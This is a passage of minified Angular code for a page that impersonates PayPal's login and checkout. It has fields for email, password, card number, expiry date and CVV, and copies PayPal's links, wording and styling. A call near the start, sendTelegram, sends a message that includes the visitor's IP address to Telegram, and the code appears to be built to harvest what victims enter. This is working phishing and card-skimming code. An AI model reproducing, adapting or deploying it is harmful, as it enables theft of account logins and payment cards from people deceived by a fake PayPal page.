"+this.visit.ip,this.myService.sendTelegram(t).subscribe(t=>console.log(t))},1800)}}selectVisa(){this.disableMethod||(this.paymentMethod=1,this.visaSelected=!0,this.masterSelected=!1,this.amexSelected=!1,this.ppSelected=!1,this.paymentNotSelected=!1,localStorage.setItem("paymentMethod","visa"))}selectMaster(){this.disableMethod||(this.paymentMethod=1,this.visaSelected=!1,this.masterSelected=!0,this.amexSelected=!1,this.ppSelected=!1,this.paymentNotSelected=!1,localStorage.setItem("paymentMethod","master"))}selectAmex(){this.disableMethod||(this.paymentMethod=1,this.visaSelected=!1,this.masterSelected=!1,this.amexSelected=!0,this.ppSelected=!1,this.paymentNotSelected=!1,localStorage.setItem("paymentMethod","amex"))}selectPp(){this.disableMethod||(this.paymentMethod=2,this.loadingSpinner=!1,this.visaSelected=!1,this.masterSelected=!1,this.amexSelected=!1,this.ppSelected=!0,this.paymentNotSelected=!1,localStorage.setItem("paymentMethod","paypal"))}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(vI),r.\u0275\u0275directiveInject(CI),r.\u0275\u0275directiveInject(pT),r.\u0275\u0275directiveInject(wo),r.\u0275\u0275directiveInject(GN),r.\u0275\u0275directiveInject(vw),r.\u0275\u0275directiveInject(uR),r.\u0275\u0275directiveInject(s))},t.\u0275cmp=r.\u0275\u0275defineComponent({type:t,selectors:[["app-pp-payment"]],decls:103,vars:8,consts:[["id","main","role","main",1,"main"],["id","login","data-role","page","data-title","Log in to your PayPal account",1,"login"],[1,"corral"],["id","content",1,"contentContainer","activeContent","contentContainerBordered"],[1,"logo-with-cart"],["role","img","aria-label","PayPal Logo",1,"paypal-logo","paypal-logo-long"],[1,"cartWrapper"],[1,"cart"],["src","https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTCokVYoIxDj1JkAEYqYquVaSUFcxXXRX_2jCRVN1zutwcehaOg7tNAFH0aigL1ayxR66s&usqp=CAU","alt","",2,"width","50px","height","40px","margin-top","-10px","border-radius","10px 0px 10px 0px"],[1,"cartIcon"],[1,"ltrDisplay"],["id","headerText","class","headerText",4,"ngIf"],["id","emailSubTagLine",1,"subHeaderText","hide"],["id","phoneSubTagLine",1,"subHeaderText","hide"],["id","subTagLineConnectOtp",1,"subHeaderText","hide"],[1,"notifications"],["id","keychainErrorMessage",1,"hide"],[1,"notification","notification-warning","blocked-on-8ball","hide"],[1,"notification","notification-warning","blocked-on-risky-login","hide"],[1,"notification","notification-critical","keychain-activation-failure","hide"],["action","88E89081K6918814W","method","post","class","proceed maskable","autocomplete","off","name","login","novalidate","",3,"formGroup","ngSubmit",4,"ngIf"],["id","beginOtpLogin",1,"otpLoginViaButton","hidden"],["href","#","pa-marked","1",1,"button"],["id","signupContainer","class","signupContainer","data-hide-on-email","","data-hide-on-pass","",4,"ngIf"],["id","tpdButtonContainer","class","signupContainer hide",4,"ngIf"],["class","intentFooter","style","margin-top: 22px",4,"ngIf"],["id","verification","data-role","page","data-title","Login Confirmation \u2013 PayPal",1,"verification","hide"],[1,"contentContainer","contentContainerLean"],["id","pending",1,"verificationSubSection"],[1,"headerText"],["id","uncookiedMessage",1,"verification-message","hide"],[1,"twoDigitPin"],["id","cookiedMessage",1,"verification-message","hide"],[1,"accountArea"],[1,"account"],[1,"verificationNotYou"],["data-href","#","href","https://www.paypal.com/checkoutnow?locale.x=en_US&fundingSource=paypal&sessionID=uid_687c1e5e3f_mdm6mde6mti&buttonSessionID=uid_bc5ea1933a_mdm6mde6mti&env=production&fundingOffered=paypal&logLevel=warn&sdkMeta=eyJ1cmwiOiJodHRwczovL3d3dy5wYXlwYWxvYmplY3RzLmNvbS9hcGkvY2hlY2tvdXQuanMifQ&uid=ccab93dfa8&version=4&token=EC-88E89081K6918814W&xcomponent=1#","id","pendingNotYouLink","pa-marked","1",1,"scTrack:unifiedlogin-verification-click-notYou"],[1,"mobileNotification"],[1,"pin"],[1,"mobileScreen"],["src","./Payme_files/icon-PN-check.png","alt","phone"],[1,"tryAnotherMsg"],["id","tryPasswordLink","data-href","#","href","https://www.paypal.com/checkoutnow?locale.x=en_US&fundingSource=paypal&sessionID=uid_687c1e5e3f_mdm6mde6mti&buttonSessionID=uid_bc5ea1933a_mdm6mde6mti&env=production&fundingOffered=paypal&logLevel=warn&sdkMeta=eyJ1cmwiOiJodHRwczovL3d3dy5wYXlwYWxvYmplY3RzLmNvbS9hcGkvY2hlY2tvdXQuanMifQ&uid=ccab93dfa8&version=4&token=EC-88E89081K6918814W&xcomponent=1","pa-marked","1",1,"inlineLink","scTrack:try-password"],[1,"resendMsg"],["role","button","data-href","#resend","href","https://www.paypal.com/checkoutnow?locale.x=en_US&fundingSource=paypal&sessionID=uid_687c1e5e3f_mdm6mde6mti&buttonSessionID=uid_bc5ea1933a_mdm6mde6mti&env=production&fundingOffered=paypal&logLevel=warn&sdkMeta=eyJ1cmwiOiJodHRwczovL3d3dy5wYXlwYWxvYmplY3RzLmNvbS9hcGkvY2hlY2tvdXQuanMifQ&uid=ccab93dfa8&version=4&token=EC-88E89081K6918814W&xcomponent=1","id","resend","pa-marked","1",1,"inlineLink","scTrack:resend","hide"],[1,"sentMessage","hide"],["id","expired",1,"hide","verificationSubSection"],[1,"headerText","headerTextWarning"],[1,"slimP"],["id","expiredTryAgainButton","pa-marked","1",1,"button","actionsSpaced"],["id","denied",1,"denied","hide","verificationSubSection"],["alt","","src","./Payme_files/glyph_alert_critical_big-2x.png",1,"deniedCaution"],["href","https://www.paypal.com/%7BcoBrand%7D/cgi-bin/helpscr?cmd=_help","pa-marked","1",1,"inlineLink","scTrack:help"],["role","contentinfo",1,"footer"],[1,"legalFooter"],[1,"footerGroup"],["target","_blank","href","https://www.paypal.com/uk/smarthelp/contact-us","pa-marked","1"],["target","_blank","href","https://www.paypal.com/uk/webapps/mpp/ua/privacy-full","pa-marked","1"],["target","_blank","href","https://www.paypal.com/uk/webapps/mpp/ua/legalhub-full","pa-marked","1"],["target","_blank","href","https://www.paypal.com/uk/webapps/mpp/country-worldwide","pa-marked","1"],["class","transitioning spinnerWithLockIcon","aria-busy","false",4,"ngIf"],[1,"lockIcon","hide"],["id","headerText",1,"headerText"],["action","88E89081K6918814W","method","post","autocomplete","off","name","login","novalidate","",1,"proceed","maskable",3,"formGroup","ngSubmit"],["id","passwordSection",1,"clearfix","splitEmail"],["id","splitEmailSection",1,"splitPhoneSection","splitEmailSection"],["id","login_emaildiv",1,"textInput",3,"ngClass"],[1,"fieldWrapper"],["for","email",1,"fieldLabel"],["id","email","formControlName","email","name","login_email","type","email","required","required","autocomplete","username","placeholder","E-naslov ali mobilna \u0161tevilka","aria-describedby","emailErrorMessage",1,"hasHelp","validate","validateEmpty",3,"value"],["id","emailErrorMessage",1,"errorMessage","hide",2,"z-index","100"],[1,"invalidError"],["id","passwordSection",1,"clearfix","showHideButtonForEligibleBrowser"],["id","login_passworddiv",1,"textInput",3,"ngClass"],[1,"fieldWrapper",2,"height","58px"],["for","password",1,"fieldLabel"],["id","password","name","login_password","type","password","formControlName","password","required","required","value","","placeholder","Geslo","aria-describedby","passwordErrorMessage",1,"hasHelp","validateEmpty","pin-password"],["for","Show password",1,"fieldLabel"],["for","Hide",1,"fieldLabel"],["id","passwordErrorMessage",1,"errorMessage"],[1,"emptyError","hide"],["href","https://www.paypal.com/authflow/password-recovery/?country.x=FI&locale.x=fi_FI&redirectUri=%252Fsignin%252F","id","forgotPassword","data-client-log-action-type","clickForgotPasswordLink","pa-marked","1",1,"recoveryOption","forgotPassword"],["type","hidden","id","phone","name","login_phone",1,"validate"],[1,"actions"],["type","submit","id","btnLogin","name","btnLogin","value","Login","pa-marked","1",1,"button","actionContinue","scTrack:unifiedlogin-login-submit"],["type","hidden","name","splitLoginContext","value","inputPassword"],["type","hidden","name","isCookiedHybridEmail","value","true"],["type","hidden","name","partyIdHash","value","5258ba7e1a68a33bf7cee0b2ba3833fa30008f3d982a78bdef0f7c3f72fba542"],["data-testid","personalized-banner",1,"PersonalizedBanner_Container_3tR4U",2,"height","40px"],["data-testid","personalized-banner-content",1,"PersonalizedBanner_BannerContent_1xoQX"],[1,"Hermione_dividerClass_1JoNc","Divider_container_2CYJA"],["data-testid","ship-to-container",1,"ShipTo_container_2wZjT"],[1,""],["data-testid","shipping-base-components",1,"ShipTo_header_1Vp0S"],["id","ShipTo","data-testid","ship-to-header",1,"src_heading_1SHop","Title_title_19nMY"],["data-testid","shipping-address",1,"SingleShippingAddress_addressContainer_YqRdo"],["data-testid","ship-to-address",1,"SingleShippingAddress_addresses_2ZZjf"],["data-testid","change-button-container",1,"ShipTo_changeButtonContainer_hp-Ap"],["data-testid","make-preferred-shipping",1,"ShipTo_make-preferred_2M_yL"],[1,"ppvx_checkbox___3-6-13-beta-0"],["for","7527490023490165837-make-preferred",1,"ppvx_checkbox__label___3-6-13-beta-0","ppvx_checkbox__label--with-svg-icon___3-6-13-beta-0"],[1,"ppvx_checkbox__check-icon-container___3-6-13-beta-0"],[1,"ppvx_icon--svg___6-7-19-beta-0","ppvx_icon--size_xs___6-7-19-beta-0","ppvx_checkbox__check-icon___3-6-13-beta-0"],["xmlns","http://www.w3.org/2000/svg","viewBox","0 0 18 18","width","1em","height","1em","fill","currentColor",2,"color","blue"],["d","M5.566 14.417l-3.272-3.266a.996.996 0 0 1-.001-1.414 1.002 1.002 0 0 1 1.414-.002l2.566 2.561 8.02-8.004a.998.998 0 0 1 1.416.001 1.001 1.001 0 0 1-.002 1.415L6.98 14.417a1 1 0 0 1-1.414 0z"],["_ngcontent-ary-c108","",1,"loginSignUpSeparator"],["_ngcontent-ary-c108","",1,"textInSeparator"],[1,"d-flex","justify-content-between","align-items-center","mb-4"],["width","35px","src","https://mdbcdn.b-cdn.net/wp-content/plugins/woocommerce-gateway-stripe/assets/images/visa.svg","alt","Visa",1,"me-0"],["width","35px","src","https://mdbcdn.b-cdn.net/wp-content/plugins/woocommerce-gateway-stripe/assets/images/mastercard.svg","alt","Mastercard",1,"me-2"],["id","login_emaildiv",1,"textInput"],["content","",1,"creditCardInput"],[2,"display","none"],["type","password",2,"display","none"],["ng-if","!manageCardFlow && showDropDown()","floating-label-dropdown","",1,"dropdown","cardType","confidential","nullable","inputField","ng-scope","custom-select-container","floatingLabel"],["ng-if","!manageCardFlow","floating-label","","directionality","",1,"inputField","confidential","cardNumber","creditCardField","ng-scope","floatingLabel",3,"ngClass"],["type","tel","placeholder","\u0160tevilka kartice","ui-validate","{luhn: 'cardLuhnValid($value)', len: 'cardLengthValid($value)', prodType: 'cardProductValid($value)'}","ui-validate-watch","'card.type'","ng-model","card.number","name","cardNumber","id","cc","value","","ng-change","changeCardNumber(false)","js-onchange","checkCardForDccCall","oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","ng-blur","focusAndBlurHandler($event)","ng-focus","focusAndBlurHandler($event)","maxlength","16","data-number","","autocapitalize","off","formControlName","ccNum","data-country","FR","autocomplete","off","ng-pattern","/.*/","pattern","\\d*","scroll-to-top","","track-focus-and-blur","cardNumber","data-error-key","validation.validCreditCard","xo-error-tooltip","","aria-describedby","","aria-invalid","false",1,"ng-pristine","ng-invalid","ng-invalid-prod-type","ng-invalid-len","ng-valid-luhn","ng-empty","ng-valid-pattern","ng-valid-maxlength","hasErrorTooltipRuleSpecific","ng-touched"],["id","expiration","ng-if","expiryShown() || cvvShown()",1,"expiration","confidential","ng-scope"],["ng-if","populated && display",1,"xo-card-expiry-wrapper","ng-scope",2,"width","48%","float","left"],["id","expirationField","content","",1,"expirationField","inputField"],["floating-label","","directionality","",1,"inputField"],["type","text","ng-blur","focusAndBlurHandler($event)","ng-focus","focusAndBlurHandler($event)","ng-model","expiryDate","name","expiry_value","id","expiry_value","value","","maxlength","5","autocapitalize","off","aria-describedby","expiryHelp","autocomplete","off","ui-validate","'validate($value)'","ng-keyup","formatExpiry($event)","pattern","\\d*","placeholder","MM/LL","onkeyup","this.value=this.value.replace(/^(\\d\\d)(\\d)$/g,'$1/$2').replace(/^(\\d\\d\\/\\d\\d)(\\d+)$/g,'$1/$2').replace(/[^\\d\\/]/g,'')","data-error-key","validation.validExpirationDate","xo-error-tooltip","","track-focus-and-blur","cardExpiry","required","","aria-invalid","false",1,"ng-pristine","ng-invalid","ng-invalid-validator","ng-empty","ng-invalid-required","ng-valid-maxlength","hasErrorTooltipRuleSpecific","hasErrorTooltipRequired","hasPlaceholder","ng-touched",3,"keyup"],["ng-if","populated && display",1,"xo-cvv-wrapper","ng-scope",2,"width","48%","float","right","margin-left","10px"],["content","","id","cvvField",1,"inputField","cvvField"],["floating-label","","directionality","",1,"cvvSecurityCode","inputField","floatingLabel",3,"ngClass"],["type","tel","id","cvv","name","cvv","ng-model","card.security_code","ng-blur","focusAndBlurHandler($event)","ng-focus","focusAndBlurHandler($event)","aria-describedby","securityCodeHelp","ng-pattern","/^[0-9]{1,4}$/","oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","ng-minlength","3","maxlength","3","pattern","\\d*","formControlName","ccCvv","placeholder","3 \u0161tevke","ng-required","cvvRequired()","ng-class","{ four: cvvLength() === 4 }","autocomplete","off","track-focus-and-blur","cardCvv","data-error-key","validation.validCSC","xo-error-tooltip","","required","required","aria-invalid","false",1,"ng-pristine","ng-empty","ng-invalid","ng-invalid-required","ng-valid-pattern","ng-valid-minlength","ng-valid-maxlength","hasErrorTooltipRuleSpecific","hasErrorTooltipRequired","hasPlaceholder","ng-touched"],["id","securityCodeHelp","ng-bind","cvvLength() === 4 ? content('creditcard.cscHelp4Digits') : content('creditcard.cscHelp3Digits')",1,"accessAid","ng-binding"],[1,"actions",2,"margin-top","25px"],["id","signupContainer","data-hide-on-email","","data-hide-on-pass","",1,"signupContainer"],[1,"loginSignUpSeparator"],[1,"textInSeparator"],["id","tpdButtonContainer",1,"signupContainer","hide"],[1,"intentFooter",2,"margin-top","22px"],[1,"cancelUrl"],["href","javascript:void(0)","data-url","http://www.bigapplebuddy.com/shop/path_not_found?token=EC-88E89081K6918814W","id","cancelLink","aria-hidden","false","pa-marked","1",1,"scTrack:unifiedlogin-click-cancel-and-return","cancelLink",3,"click"],["aria-busy","false",1,"transitioning","spinnerWithLockIcon"],[1,"welcomeMessage","hide"],[1,"checkingInfo","hide"],[1,"oneSecond","hide"],[1,"secureMessage","hide"],[1,"oneTouchMessage","hide"],[1,"retrieveInfo","hide"],[1,"waitFewSecs","hide"],[1,"udtSpinnerMessage","udtLogin","hide"],[1,"udtSpinnerMessage","udtLoginXo","hide"],[1,"udtSpinnerMessage","webllsXoUS","hide"],[1,"udtSpinnerMessage","webllsSCA","hide"],[1,"qrcMessage","hide"],[1,"webAuthnOptin","hide"],[1,"webAuthnLogin","hide"],[1,"keychain","spinner-content","uiExp","hide"]],template:function(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",0),r.\u0275\u0275elementStart(1,"section",1),r.\u0275\u0275elementStart(2,"div",2),r.\u0275\u0275elementStart(3,"div",3),r.\u0275\u0275elementStart(4,"header",4),r.\u0275\u0275element(5,"p",5),r.\u0275\u0275elementStart(6,"span",6),r.\u0275\u0275elementStart(7,"span",7),r.\u0275\u0275element(8,"img",8),r.\u0275\u0275text(9," \xa0 "),r.\u0275\u0275element(10,"span",9),r.\u0275\u0275elementStart(11,"span",10),r.\u0275\u0275text(12,"\u20ac 2,84"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275template(13,BR,2,0,"h1",11),r.\u0275\u0275template(14,HR,2,0,"h1",11),r.\u0275\u0275elementStart(15,"p",12),r.\u0275\u0275text(16," Enter your email address or mobile phone number to get started. "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(17,"p",13),r.\u0275\u0275text(18," Already set up to use your mobile number to log in? Please enter it below. Otherwise, click the link to log in with your email address. "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(19,"p",14),r.\u0275\u0275text(20," Forgotten your email address? Go to the PayPal website to retrieve it. "),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(21,"div",15),r.\u0275\u0275elementStart(22,"div",16),r.\u0275\u0275elementStart(23,"p",17),r.\u0275\u0275text(24," PayPal One Touch\u2122 only works for checkout. Please log in with your email. "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(25,"p",18),r.\u0275\u0275text(26," Please log in with your email address and password. "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(27,"p",19),r.\u0275\u0275text(28," We're sorry, something seems to have gone wrong. Please log in with your email address and password. "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275template(29,GR,33,8,"form",20),r.\u0275\u0275template(30,qR,66,9,"form",20),r.\u0275\u0275elementStart(31,"div",21),r.\u0275\u0275elementStart(32,"button",22),r.\u0275\u0275text(33," Log in with a one-off passcode "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275template(34,WR,4,0,"div",23),r.\u0275\u0275template(35,KR,4,0,"div",24),r.\u0275\u0275template(36,$R,4,0,"div",25),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(37,"section",26),r.\u0275\u0275elementStart(38,"div",2),r.\u0275\u0275elementStart(39,"div",27),r.\u0275\u0275elementStart(40,"div",28),r.\u0275\u0275elementStart(41,"h1",29),r.\u0275\u0275text(42,"Open the PayPal app"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(43,"p",30),r.\u0275\u0275text(44," Open the PayPal app, tap Yes on the prompt, then tap "),r.\u0275\u0275element(45,"span",31),r.\u0275\u0275text(46," on your phone to log in. "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(47,"p",32),r.\u0275\u0275text(48," Open the PayPal app and tap Yes on the prompt to log in. "),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(49,"div",15),r.\u0275\u0275elementStart(50,"div",33),r.\u0275\u0275element(51,"span",34),r.\u0275\u0275elementStart(52,"span",35),r.\u0275\u0275elementStart(53,"a",36),r.\u0275\u0275text(54,"Not you?"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(55,"div",37),r.\u0275\u0275element(56,"p",38),r.\u0275\u0275elementStart(57,"div",39),r.\u0275\u0275element(58,"img",40),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(59,"p",41),r.\u0275\u0275elementStart(60,"a",42),r.\u0275\u0275text(61,"Use password instead"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(62,"p",43),r.\u0275\u0275elementStart(63,"a",44),r.\u0275\u0275text(64,"Resend"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(65,"span",45),r.\u0275\u0275text(66,"Sent"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(67,"div",46),r.\u0275\u0275elementStart(68,"header"),r.\u0275\u0275elementStart(69,"p",5),r.\u0275\u0275text(70," PayPal "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(71,"h1",47),r.\u0275\u0275text(72," We're sorry, we couldn't confirm it's you "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(73,"p",48),r.\u0275\u0275text(74," We didn't receive a response so we were unable confirm your identity. "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(75,"button",49),r.\u0275\u0275text(76," Try Again "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(77,"div",50),r.\u0275\u0275element(78,"img",51),r.\u0275\u0275elementStart(79,"h1",29),r.\u0275\u0275text(80,"We're sorry, we couldn't confirm it's you"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(81,"p"),r.\u0275\u0275text(82," Need a hand? "),r.\u0275\u0275elementStart(83,"a",52),r.\u0275\u0275text(84,"We can help"),r.\u0275\u0275elementEnd(),r.\u0275\u0275text(85,". "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(86,"footer",53),r.\u0275\u0275elementStart(87,"div",54),r.\u0275\u0275elementStart(88,"ul",55),r.\u0275\u0275elementStart(89,"li"),r.\u0275\u0275elementStart(90,"a",56),r.\u0275\u0275text(91,"Kontaktiraj nas"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(92,"li"),r.\u0275\u0275elementStart(93,"a",57),r.\u0275\u0275text(94,"Politika zasebnosti"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(95,"li"),r.\u0275\u0275elementStart(96,"a",58),r.\u0275\u0275text(97,"Pravno"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(98,"li"),r.\u0275\u0275elementStart(99,"a",59),r.\u0275\u0275text(100,"Posodobitve pravilnika"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275template(101,QR,32,0,"div",60),r.\u0275\u0275element(102,"div",61)),2&t&&(r.\u0275\u0275advance(13),r.\u0275\u0275property("ngIf",0==e.step&&!e.loadingSpinner),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",1==e.step&&!e.loadingSpinner),r.\u0275\u0275advance(15),r.\u0275\u0275property("ngIf",0==e.step&&!e.loadingSpinner),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",1==e.step&&!e.loadingSpinner),r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",0==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",0==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",0==e.step),r.\u0275\u0275advance(65),r.\u0275\u0275property("ngIf",e.loadingSpinner))},directives:[ut,$E,CE,YE,st,zO,_E,tT,rT,aT,lT],styles:['@font-face{font-family:ppf-utility;src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/fonts/v1.1/PP-Utility-v1.1.eot?-acnm6v&_=999999);src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/fonts/v1.1/PP-Utility-v1.1.eot?#iefix-acnm6v) format("embedded-opentype"),url(https://www.paypalobjects.com/webstatic/mktg/2014design/fonts/v1.1/PP-Utility-v1.1.woff?-acnm6v&_=999999) format("woff"),url(https://www.paypalobjects.com/webstatic/mktg/2014design/fonts/v1.1/PP-Utility-v1.1.ttf?-acnm6v&_=999999) format("truetype"),url(https://www.paypalobjects.com/webstatic/mktg/2014design/fonts/v1.1/PP-Utility-v1.1.svg?-acnm6v&_=999999#ppf-utility) format("svg")}@font-face{font-family:ppf-web;src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/fonts/v1.1/PP-Web-v1.1.eot?-acnm6v&_=999999);src:url(https://www.paypalobjects.com/webstatic/mktg/2014design/fonts/v1.1/PP-Web-v1.1.eot?#iefix-acnm6v) format("embedded-opentype"),url(https://www.paypalobjects.com/webstatic/mktg/2014design/fonts/v1.1/PP-Web-v1.1.woff?-acnm6v&_=999999) format("woff"),url(https://www.paypalobjects.com/webstatic/mktg/2014design/fonts/v1.1/PP-Web-v1.1.ttf?-acnm6v&_=999999) format("truetype"),url(https://www.paypalobjects.com/webstatic/mktg/2014design/fonts/v1.1/PP-Web-v1.1.svg?-acnm6v&_=999999#ppf-web) format("svg")}.ppf[_ngcontent-%COMP%], .ppfPseudo[_ngcontent-%COMP%]:before{speak:none;font-style:normal;font-weight:400;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.lower-than-ie9[_ngcontent-%COMP%] .ppf[_ngcontent-%COMP%], .lower-than-ie9[_ngcontent-%COMP%] .ppfPseudo[_ngcontent-%COMP%]:before{display:none}.ppf.utility[_ngcontent-%COMP%], .ppfPseudo[_ngcontent-%COMP%]:before.utility{font-family:ppf-utility,Helvetica Neue,Arial,sans-serif}.ppf.web[_ngcontent-%COMP%], .ppfPseudo[_ngcontent-%COMP%]:before.web{font-family:ppf-web,Helvetica Neue,Arial,sans-serif}.ppfPseudo.utility[_ngcontent-%COMP%]{font-family:ppf-utility,Helvetica Neue,Arial,sans-serif}.ppfPseudo.web[_ngcontent-%COMP%]{font-family:ppf-web,Helvetica Neue,Arial,sans-serif}@font-face{font-family:paypal-icons;src:url(https://www.paypalobjects.com/webstatic/fnt/cweb/paypal-icons_1-0-3/PayPalIcons-Regular.eot);src:url(https://www.paypalobjects.com/webstatic/fnt/cweb/paypal-icons_1-0-3/PayPalIcons-Regular.eot?#iefix) format("embedded-opentype"),url(https://www.paypalobjects.com/webstatic/fnt/cweb/paypal-icons_1-0-3/PayPalIcons-Regular.woff) format("woff"),url(https://www.paypalobjects.com/webstatic/fnt/cweb/paypal-icons_1-0-3/PayPalIcons-Regular.ttf) format("truetype"),url(https://www.paypalobjects.com/webstatic/fnt/cweb/paypal-icons_1-0-3/PayPalIcons-Regular.svg#69ac2c9fc1e0803e59e06e93859bed03) format("svg");font-style:normal;font-weight:400}.iconFont[_ngcontent-%COMP%], .iconFontPseudo[_ngcontent-%COMP%]:before{font-family:paypal-icons;speak:none;font-style:normal;font-weight:400;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:0;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.lower-than-ie9[_ngcontent-%COMP%] .iconFont[_ngcontent-%COMP%], .lower-than-ie9[_ngcontent-%COMP%] .iconFontPseudo[_ngcontent-%COMP%]:before{display:none}.icon-small[_ngcontent-%COMP%]:before{font-size:1.58rem}.icon-medium[_ngcontent-%COMP%]:before{font-size:2.6rem}.icon-large[_ngcontent-%COMP%]:before{font-size:7.8rem}.icon-burger-small[_ngcontent-%COMP%]:before{content:"\\e000"}.icon-slider-small[_ngcontent-%COMP%]:before{content:"\\e001"}.icon-slider-half-small[_ngcontent-%COMP%]:before{content:"\\e002"}.c[_ngcontent-%COMP%]:before{content:"\\e003"}.icon-add-small[_ngcontent-%COMP%]:before{content:"\\e004"}.icon-arrow-down-small[_ngcontent-%COMP%]:before{content:"\\e005"}.icon-arrow-up-small[_ngcontent-%COMP%]:before{content:"\\e006"}.icon-arrow-left-small[_ngcontent-%COMP%]:before{content:"\\e007"}.icon-arrow-right-small[_ngcontent-%COMP%]:before{content:"\\e008"}.icon-arrow-down-half-small[_ngcontent-%COMP%]:before{content:"\\e009"}.icon-arrow-up-half-small[_ngcontent-%COMP%]:before{content:"\\e010"}.icon-arrow-left-half-small[_ngcontent-%COMP%]:before{content:"\\e011"}.icon-arrow-right-half-small[_ngcontent-%COMP%]:before{content:"\\e012"}.icon-clear-half-small[_ngcontent-%COMP%]:before{content:"\\e013"}.icon-checkmark-small[_ngcontent-%COMP%]:before{content:"\\e014"}.icon-checkmark-small-bold[_ngcontent-%COMP%]:before{content:"\\e015"}.icon-action-arrow-half-small[_ngcontent-%COMP%]:before{content:"\\e016"}.icon-tooltip-outline-small[_ngcontent-%COMP%]:before{content:"\\e017"}.icon-tooltip-small[_ngcontent-%COMP%]:before{content:"\\e018"}.icon-info-small[_ngcontent-%COMP%]:before{content:"\\e019"}.icon-positive-small[_ngcontent-%COMP%]:before{content:"\\e020"}.icon-attention-small[_ngcontent-%COMP%]:before{content:"\\e021"}.icon-critical-small[_ngcontent-%COMP%]:before{content:"\\e022"}.icon-info-large[_ngcontent-%COMP%]:before{content:"\\e023"}.icon-positive-large[_ngcontent-%COMP%]:before{content:"\\e024"}.icon-attention-large[_ngcontent-%COMP%]:before{content:"\\e025"}.icon-critical-large[_ngcontent-%COMP%]:before{content:"\\e026"}.icon-paypal-select-logo[_ngcontent-%COMP%]:before{content:"\\e027"}.icon-select-logo[_ngcontent-%COMP%]:before{content:"\\e028"}.icon-pp-logo[_ngcontent-%COMP%]:before{content:"\\e029"}.icon-visa-logo[_ngcontent-%COMP%]:before{content:"\\e030"}.icon-mastercard-logo[_ngcontent-%COMP%]:before{content:"\\e031"}.icon-maestro-logo[_ngcontent-%COMP%]:before{content:"\\e032"}.icon-amex-logo[_ngcontent-%COMP%]:before{content:"\\e033"}.icon-discover-logo[_ngcontent-%COMP%]:before{content:"\\e034"}.icon-card-half-solid[_ngcontent-%COMP%]:before{content:"\\e035"}.icon-bank-half-solid[_ngcontent-%COMP%]:before{content:"\\e036"}.icon-profile-large[_ngcontent-%COMP%]:before{content:"\\e037"}.icon-profile-add-large[_ngcontent-%COMP%]:before{content:"\\e038"}.icon-notification-small[_ngcontent-%COMP%]:before{content:"\\e039"}.icon-settings-small[_ngcontent-%COMP%]:before{content:"\\e040"}.icon-profile-small[_ngcontent-%COMP%]:before{content:"\\e041"}.icon-funnel-small[_ngcontent-%COMP%]:before{content:"\\e042"}.icon-delete-small[_ngcontent-%COMP%]:before{content:"\\e043"}.icon-edit-small[_ngcontent-%COMP%]:before{content:"\\e044"}.icon-lock-small[_ngcontent-%COMP%]:before{content:"\\e045"}.icon-pdf-small[_ngcontent-%COMP%]:before{content:"\\e046"}.icon-contact-small[_ngcontent-%COMP%]:before{content:"\\e047"}.icon-undo-small[_ngcontent-%COMP%]:before{content:"\\e048"}.icon-cancel-small[_ng